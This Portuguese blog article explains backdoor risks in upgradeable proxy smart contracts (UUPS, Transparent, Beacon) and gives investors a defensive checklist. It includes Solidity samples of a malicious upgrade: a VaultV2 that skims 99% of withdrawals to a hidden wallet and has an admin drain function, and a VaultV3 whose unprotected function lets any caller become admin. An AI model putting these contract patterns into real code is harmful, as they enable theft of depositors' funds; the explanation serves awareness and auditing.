Pressione ESC para fechar

Backdoors em Smart Contracts: Riscos de Upgradeability

Uns 90% dos protocolos DeFi onde você bota suas stablecoins vêm com um backdoor legalizado de fábrica. O nome desse milagre é Upgradeability. A ideia é nobre: corrigir bug, otimizar gás. A realidade? É a chance de trocar o código de um contrato funcional por um script malicioso qualquer com um clique e raspar a liquidez até o último centavo.

Ontem mesmo passei a madrugada analisando um fork recente na Base. Fui até as três da manhã. Achei que tava cansado e vendo coisa, mas não: era uma timebomb clássica no proxy. E os caras ainda têm auditoria! Um PDF lindo de uma empresa de ponta. Vamos dissecar isso aqui.

A ilusão da arquitetura: Como funcionam os proxies

Pro investidor comum, um smart contract é um bloco único. Buildou, dropou na rede, já era. Mas se o protocolo precisa ser atualizável, a arquitetura é dividida em duas frentes: o Proxy e a Lógica (Implementation). O usuário final sempre interage com o Proxy. O proxy em si não processa regra de negócio nenhuma, ele é burro. Só repassa as chamadas via delegatecall.

É aí que mora o perigo. O delegatecall é a função mais perigosa do Solidity. Ele roda o código do contrato de destino (a Implementation), mas usando o espaço de armazenamento (storage) do próprio Proxy. Ou seja, as variáveis ficam no Proxy, mas as instruções vêm de fora. O admin altera o endereço da Implementation no contrato proxy e pronto: o protocolo atualizou. Ou o backdoor entrou em ação.

Os padrões de mercado que te vendem como sinônimo de segurança:

  • UUPS (UUPSUpgradeable): O slot com o endereço da lógica fica dentro do próprio contrato lógico. Se o dev subir uma implementação bugada que não herda a interface do UUPS, o contrato vira um tijolo. Pra sempre. Fundos travados. Irônico, né? Demais.
  • Transparent Proxy Pattern (TPP): Aqui, um contrato dedicado chamado ProxyAdmin gerencia os upgrades. Há uma separação clara: os usuários chamam a lógica de negócio e o admin só mexe nas funções de atualização. Parece mais limpo, mas consome gás que é uma beleza por causa das validações constantes de msg.sender no nível de fallback.
  • Beacon Proxy: Um único contrato-farol (Beacon) centraliza o endereço da lógica para centenas de proxies idênticos. Muito usado em coleções de NFT ou pools. Mudou o endereço no Beacon, atualizou mil contratos de uma vez. Prático pro hacker? Com certeza. Um exploit e a rede inteira de pools cai junta.

Anatomia do rug pull: Como levam seus fundos

Acha que precisa de um exploit complexo pra roubar o pool? Nada. Pro admin, basta alterar uma única linha na nova implementação.

Vamos pro código real. Escrevi um exemplo clássico de um contrato "legítimo" que vira um golpe num piscar de olhos.

Fase 1: O contrato limpo (Implementation_V1.sol)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
// Pool padrão, galera aportando e surfando no rendimento
contract VaultV1 is Initializable {
    address public admin;
    mapping(address => uint256) public balances;
    uint256 public totalFunds;
    // Usamos initializer no lugar do constructor. Esqueceu de rodar, o contrato vira terra de ninguém.
    function initialize() public initializer {
        admin = msg.sender; // Salva o deployer. Ou uma multisig (assim esperamos).
    }
    function deposit() external payable {
        require(msg.value > 0, "Zero funds");
        balances[msg.sender] += msg.value;
        totalFunds += msg.value;
    }
    // Saque honesto. Sem taxa oculta. Por enquanto.
    function withdraw(uint256 _amount) external {
        require(balances[msg.sender] >= _amount, "Low balance");
        balances[msg.sender] -= _amount;
        totalFunds -= _amount;
        payable(msg.sender).transfer(_amount);
    }
}

Código limpo. Os auditores dão o aval. O protocolo vai ao ar, a liquidez dispara e o chat no Telegram entra em fomo.

Fase 2: O upgrade da meia-noite (Implementation_V2.sol)

Um mês depois, o pool bate 5.000 ETH. O dev (ou um hacker que pescou a private key do admin) dropa a versão dois na rede. Ele chama a função upgradeTo() no proxy e injeta o novo endereço.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
contract VaultV2 is Initializable {
    // REGRA DE OURO: O storage layout tem que espelhar o V1 idêntico.
    // Inverteu variável, desalinhou o mapping, quebrou o estado.
    address public admin;
    mapping(address => uint256) public balances;
    uint256 public totalFunds;
    
    address public constant shadowWallet = 0x9965507B1a05951961A0175f653429f1c08afde6; // Carteira de saída
    // Trava pro inicializador não rodar de novo
    function initialize() public initializer {}
    function deposit() external payable {
        balances[msg.sender] += msg.value;
        totalFunds += msg.value;
    }
    // O backdoor tá aqui. O usuário comum percebe? Nem chance.
    function withdraw(uint256 _amount) external {
        // Olhando de fora tá perfeito, mas...
        require(balances[msg.sender] >= _amount, "Low balance");
        
        // Taxa fantasma: desvia 99% pra shadowWallet sem alarde.
        // Por que não 100%? Pra tx não falhar de cara e o user achar que é lag da UI.
        uint256 tax = (_amount * 99) / 100;
        uint256 userShare = _amount - tax;
        balances[msg.sender] -= _amount;
        totalFunds -= _amount;
        payable(shadowWallet).transfer(tax); 
        payable(msg.sender).transfer(userShare);
    }
    // Ou simplesmente o botão clássico de "pull the rug" do admin
    function emergencyDrain() external {
        require(msg.sender == admin, "Not an admin");
        // Raspa tudo. Abraço pra liquidez.
        payable(shadowWallet).transfer(address(this).balance);
    }
}

Você vai no app, clica em Withdraw, assina a transação na wallet. A interface fica carregando. Na sua conta cai 1% do saldo, o resto sumiu. Você corre pro grupo do projeto, mas os mods já estão apagando as mensagens e te banindo. Clássico.

Colisão de slots de memória: O backdoor invisível

Às vezes o dev malicioso nem precisa colocar uma função óbvia como emergencyDrain(). Existe um truque bem mais sutil: a colisão proposital de slots de memória (Storage Slot Collision).

A EVM não lê nomes de variáveis. Ela trabalha com slots sequenciais (de 0 a 2256-1) onde os dados são gravados um após o outro. Se na nova implementação a ordem de declaração das variáveis for alterada de propósito, dá pra fazer com que a gravação de um simples userLimit sobrescreva o endereço do admin.

Uma vez peguei um contrato onde enfiaram um bool minúsculo logo antes da variável owner num upgrade. Isso empurrou todo o layout de memória pra baixo. Qualquer um que alterasse suas próprias configurações no app virava dono do contrato na hora e podia sacar tudo. Os devs juraram de pé junto que foi um erro de digitação. Sei. O dinheiro foi direto pra uma wallet que tinha financiado um mixer do Tornado Cash dois dias antes. Coincidência total, claro.

Checklist de segurança: Como não virar estatística

Achar que o selo de verificado do Etherscan te protege é ingenuidade. O check verde no contrato proxy só atesta que o código do proxy está limpo. O perigo tá embaixo do capô.

Montei essa tabela pra servir de guia rápido de riscos antes de você alocar qualquer capital relevante em um protocolo.

Variável do ContratoCenário Seguro (Safe)Alerta de Risco (Red Flag)Como Auditar no Explorer
Tipo de ContratoImutável (Immutable)Proxy (UUPS / Transparent)Aba Contract -> Procure pelos botões Read as Proxy / Write as Proxy.
Controle (Admin)Multisig (Gnosis Safe 3/5) + TimelockEOA (Chave privada única do admin)Consulte o endereço do slot admin ou owner. Se for uma carteira comum (sem código), o projeto tem dono único. Se a chave vazar, o protocolo quebra.
Timelock (Janela de Espera)De 48 horas a 7 diasInexistente ou zeradoVeja se as chamadas de atualização passam obrigatoriamente por um contrato de timelock. Se o admin puder executar o upgradeTo na hora, caia fora.
Slot de ImplementaçãoHash padrão via EIP-1967Slot customizado ou ocultoMonitore a migração de storage na aba State do Etherscan durante os eventos de upgrade.

Timelocks são só mais uma ilusão de segurança para acalmar sardinha. Os devs enchem o peito no Discord para falar: “Nosso timelock é de 48 horas! Zero chance de upgrade surpresa!”.

Até parece bonito. O admin tem dois dias de janela para marchar com a transação de upgrade, e você ganharia o mesmo tempo para farejar o golpe, espalhar o FUD e sacar os fundos. Mas na real? Ninguém tá nem aí.

Quem aí monitora mempool ou evento de timelock 24/7? Ninguém. Galera tá dormindo, trabalhando ou tomando cerveja. O hacker ou o admin mal intencionado joga a transação de upgrade na fila numa sexta-feira à noite. No domingo de madrugada o timelock vence, o código é injetado e, na segunda cedo, você acorda com a carteira zerada e cara de tacho. Esse delay só salva se você tiver alertas automatizados configurados (via Defender Sentinel ou Tenderly) e bots engatilhados para saque de emergência. Sem bot, você só vai assistir o seu dinheiro derreter enquanto espera na fila do abate.

Agora vamos falar daquela bizarrice técnica que raramente aparece em relatório de auditoria padrão.

Minas terrestres na arquitetura: Métodos ocultos de inicialização

Quando um contrato comum passa pelo deploy, o constructor roda uma única vez, grava as variáveis necessárias no storage e deixa de existir. Só que na arquitetura de proxies, o constructor da implementação não mexe no storage do proxy em si. É por isso que criaram a função de inicialização, tipo a initialize que vimos ali em cima.

E é exatamente aqui que rola o ápice da engenharia de backdoors. E se o admin tiver deixado uma segunda função de inicialização mofando lá dentro? Ou um método escondido de re-initialization?

O OpenZeppelin tem o modificador reinitializer(uint8 version), feito justamente para inicializar novas variáveis na transição para a V2. Mas se o dev inventar de criar uma solução caseira ou esquecer "sem querer" de proteger essa função de reconfiguração, qualquer um consegue sobrescrever variáveis críticas do storage.

Exemplo de código de migração vulnerável (ou intencionalmente malicioso):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";

contract VaultV3 is Initializable {
    address public admin;
    mapping(address => uint256) public balances;
    uint256 public totalFunds;
    
    // Novas variaveis para a V3
    bool public isPaused;
    address public trustedRecoveryAddress;

    // Reinitializer teoricamente pro upgrade.
    // Olhando essa linha, achou o erro?
    function upgradeConfig(address _recovery) external {
        // Esqueceram o require(msg.sender == admin, "Not admin");
        // Ou meteram alguma logica que reseta o status de inicializacao
        trustedRecoveryAddress = _recovery;
        
        // Presentinho pro dev:
        admin = msg.sender; // E tcharam! Qualquer um chama a funcao e vira admin do contrato
    }
}

Você vai falar: “Ah, mas esse bug é muito escancarado, iam pegar no pulo”. Nem ferrando. Os caras escondem isso no meio de fórmulas matemáticas bizarras ou dentro de bibliotecas externas importadas in deploy. No fim, a função parece um cálculo inofensivo de taxa, mas por baixo dos panos está rolando um overwrite bruto no slot de admin.

Como monitorar direto na fonte: Leitura direta de slots

Se os admins decidirem aplicar um rug pull, eles não vão validar o código do backdoor no Etherscan. Vão meter o deploy da implementação direto em bytecode não verificado. No explorer você só vai ver aquele monte de hex. Dá medo? Com certeza.

Para descobrir para onde o proxy está apontando agora, você precisa olhar direto na raiz — nos slots de memória da EVM. Pelo padrão EIP-1967, o endereço da lógica deve sempre ocupar um slot específico para evitar colisão de storage.

Endereço do slot de implementação (EIP-1967):
bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)
O que resulta no hash: 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc

Sabendo rodar um eth_getStorageAt, tanto faz se o contrato está verificado ou não. É só puxar o endereço do proxy, consultar esse slot e você terá o endereço em hex puro do contrato de lógica atual. Se esse endereço mudar sem aviso prévio, saque tudo imediatamente.

# Exemplo de chamada RPC via curl para checar o que esta escondido ali
curl https://mainnet.infura.io/v3/YOUR_KEY \
  -X POST \
  -H "Content-Type: application/json" \
  --data '{"jsonrpc":"2.0","method":"eth_getStorageAt","params":["0xProxyContractAddress", "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc", "latest"],"id":1}'

O retorno trará 32 bytes. Os últimos 20 bytes representam o endereço real do contrato que manda na sua grana neste exato milissegundo. Esqueça o endereço bonitinho que aparece no front-end do projeto. É esse endereço retornado que vai processar o delegatecall.

Resumo da ópera

Grave isso: upgradeability é sempre uma balança entre a flexibilidade do dev e a segurança do investidor. Se o projeto ostenta bilhões em TVL (Total Value Locked), mas roda em cima de um proxy controlado por um multisig 2 de 3 sem timelock, esse bilhão não pertence aos investidores. Pertence aos três caras que controlam as chaves. Ou ao primeiro hacker que conseguir passar um phishing neles.

Se o contrato aceita upgrade, no fim das contas você está confiando em humanos, não no código. E o histórico do ecossistema cripto cansa de provar que pessoas falham, sofrem chantagem ou simplesmente perdem a cabeça quando veem cifras com seis ou mais zeros na tela.


FAQ

Upgradeability é um padrão de arquitetura que divide um protocolo em dois: um contrato Proxy (que fica na linha de frente) e um contrato de Implementation, que roda a lógica de negócios real. Isso permite que os devs alterem o código subjacente usando rotinas de delegatecall. O risco principal vem da centralização. Quem estiver com o controle das admin keys pode, num piscar de olhos, trocar o endereço da Implementation original (que foi auditada) por um código malicioso. Isso altera as transições de estado do protocolo e possibilita o dreno (drain) de todos os ativos cripto travados ali.

Para pegar um backdoor de admin, você precisa validar a arquitetura do contrato num explorer como o Etherscan. O esquema é buscar pelo storage slot EIP-1967 (0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc) usando o método RPC eth_getStorageAt para extrair o ponteiro oculto da implementação. Se esse slot retornar um endereço e a variável controladora (ProxyAdmin ou owner) apontar para uma conta EOA (Externally Owned Account) única — em vez de uma carteira multisig ou um contrato de Timelock —, a estrutura conta com um backdoor funcional.

Uma storage slot collision (colisão de slots de armazenamento) é uma vulnerabilidade destrutiva de EVM. Ela acontece quando uma nova versão da implementação do contrato declara variáveis de estado (state variables) numa ordem diferente ou com tipos de dados incompatíveis em comparação com a versão anterior. Isso força as variáveis a mapearem exatamente nos mesmos storage slots de 32 bytes. Por causa desse desalinhamento (misalignment), funções totalmente sem relação podem acabar sobrescrevendo variáveis críticas. Na prática, uma interação comum de usuário pode corromper o state layout, zerar saldos ou sobrescrever silenciosamente o slot do endereço de admin, entregando a ownership total para o atacante.
Oleg Filatov

As the Chief Technology Officer at EXMON Exchange, I focus on building secure, scalable crypto infrastructure and developing systems that protect user assets and privacy.

With over 15 years in cybersecurity, blockchain, and DevOps, I specialize in smart contract analysis, threat modeling, and secure system architecture.

At EXMON Academy, I share practical insights from real-world...

...